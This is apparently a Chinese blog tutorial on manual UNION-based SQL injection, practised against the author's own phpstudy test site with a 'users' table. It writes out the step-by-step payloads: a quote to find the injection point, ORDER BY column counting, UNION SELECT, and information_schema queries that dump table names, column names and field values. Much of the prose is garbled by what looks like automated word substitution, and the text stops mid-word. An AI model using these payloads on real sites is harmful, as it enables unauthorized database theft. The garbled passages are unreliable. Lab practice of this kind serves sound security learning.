首先搭建一个测试环境,我利用的是phpstudy,这个工具十分好用,一运行就能搭建php+apache+mysql的测试环境。
我的数据库、数据表是这样的:
新建test数据库

新建users数据表以及字段
接下来便是测试的代码:
测试源代码
把测试代码编写好扔进根目录下运行,打开浏览器就可进行渗透测试了,是不是very easy!!!
0x01union手动测试(重点)
(1)判断注入点。利用单引号测试。
页面涌现缺点解释存在sql注入
(2)判断字段数。利用 order by n(数字)
order by 4 涌现缺点
order by 3页面正常了
sql注入通过页面显错来判断字段,以是在url后面的id=1,要变成id=-1使得他查询结果是缺点的,才能在浏览器上面不雅观察结果。
因此3是本次测试数据的字段。
(3)利用 union select 1,2,3 联合查询
页面结果显示字段2和3位置可以爆信息
根据报错结果得出2,3位置可以进行信息报错,往下一步插入union select 1,database(),3
在字段2位置插入database()查询数据库
(4)获取数据库名字后,往下一步得到表名,利用select table_name from information_schema.tables where table_schema='test' limit 0,1语句放到字段2的位置
详细操作看图:
查询到表users
比拟前面环境可以知道第一个表名是users;查询下个表名的操作select table_name from information_schema.tables where table_schema='test' limit 1,1
(5)获取字段名,利用select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1
得到第一个字段id
下个查询字段操作:select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 1,1
下一个字段username
select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 2,1
再下一个字段address
通过一个一个的爆出,得出了username、address的字段,末了爆出字段的内容。
(6)爆字段的值。操作select username from test.users limit 0,1
username的值为union
下个内容值:操作select address from test.users limit 0,1
address的值为here
末了对照mysql数据信息比拟:
千篇一律,是不是很大略,由于GET方法得到的id值没有进行参数过滤,形成了SQL注入,本次手动测试是练习union select 注入方法,偷
下节我讲解下Boolean 注入攻击演示。